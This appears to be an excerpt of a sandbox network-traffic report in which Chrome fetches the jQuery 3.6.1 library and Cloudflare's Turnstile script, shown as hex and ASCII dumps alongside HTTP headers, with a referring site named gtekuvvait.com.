2024-10-01 13:08:09 UTC	440	IN	Data Raw: 37 62 66 64 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 7bfd/! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 79 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 79 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 76 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 2e 6e 6f 64 65 54 79 70 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f Data Ascii: nction(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeo
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d 3a Data Ascii: -1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 65 Data Ascii: e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];re
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d 6e Data Ascii: ))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=n
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e 63 Data Ascii: {T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.c
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c 74 Data Ascii: turn r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 74 75 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 65 6e 64 43 68 Data Ascii: turn r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendCh
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e Data Ascii: ode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagN
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 79 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 79 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 64 3d 21 30 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c Data Ascii: ("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49727	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:09 UTC	573	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:09 UTC	356	IN	HTTP/1.1 302 Found Date: Tue, 01 Oct 2024 13:08:09 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/ec4b873d446c/api.js Server: cloudflare CF-RAY: 8cbcae05394318c4-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49729	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:09 UTC	557	OUT	GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:09 UTC	441	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:09 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47262 Connection: close accept-ranges: bytes last-modified: Tue, 17 Sep 2024 16:06:37 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8cbcae090b18c434-EWR
2024-10-01 13:08:09 UTC	928	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 56 74 28 65 2c 72 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 66 3d 65 5b 6c 5d 28 67 29 2c 70 3d 66 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 73 29 7b 61 28 73 29 3b 72 65 74 75 72 6e 7d 66 2e 64 6f 6e 65 3f 72 28 70 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 70 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Vt(e,r,a,o,c,l,g){try{var f=e[l](g),p=f.value}catch(s){a(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Wt(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var l=e.apply(r,a);funct
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 Data Ascii: ct.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function tt(e,r){return r=r!=null?r:{},Object.getOwnPropertyD
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 48 74 28 65 29 7c 7c 42 74 28 65 2c 72 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 6a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 50 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 44 65 28 65 2c 72 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 5d 26 31 29 74 68 72 6f 77 20 6c 5b 31 5d 3b 72 65 74 75 72 6e 20 6c 5b 31 5d 7d 2c 74 72 Data Ascii: function Ae(e,r){return Ht(e)\|\|Bt(e,r)\|\|qt(e,r)\|\|jt()}function P(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function De(e,r){var a={label:0,sent:function(){if(l[0]&1)throw l[1];return l[1]},tr
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 47 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c Data Ascii: oaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Gt=300020;var Pe=300030;var Ue=300031;var q;(function(e){e.MANAGED="managed",
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 45 4e 44 45 52 3d 22 72 65 6e 64 65 72 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 28 70 65 7c 7c 28 70 65 3d 7b 7d 29 29 3b 76 61 72 20 6f 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 7d 29 Data Ascii: al",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(function(e){e.RENDER="render",e.EXECUTE="execute"})(pe\|\|(pe={}));var oe;(function(e){e.EXECUTE="execute"})
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e Data Ascii: archParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params.
2024-10-01 13:08:09 UTC	1369	IN	Data Raw: 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4c 28 43 72 2c 28 6c 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 66 2c 70 3d 4c 28 4e 72 2c 28 66 3d 28 61 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 61 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 66 21 3d 3d 76 6f 69 64 20 30 3f 66 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 Data Ascii: ===Se.FAILURE_HAVING_TROUBLES,l,g=L(Cr,(l=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),f,p=L(Nr,(f=(a=e.displayLanguage)===null\|\|a===void 0?void 0:a.toLowerCase())!==null&&f!==void 0?f:"nonexistent")
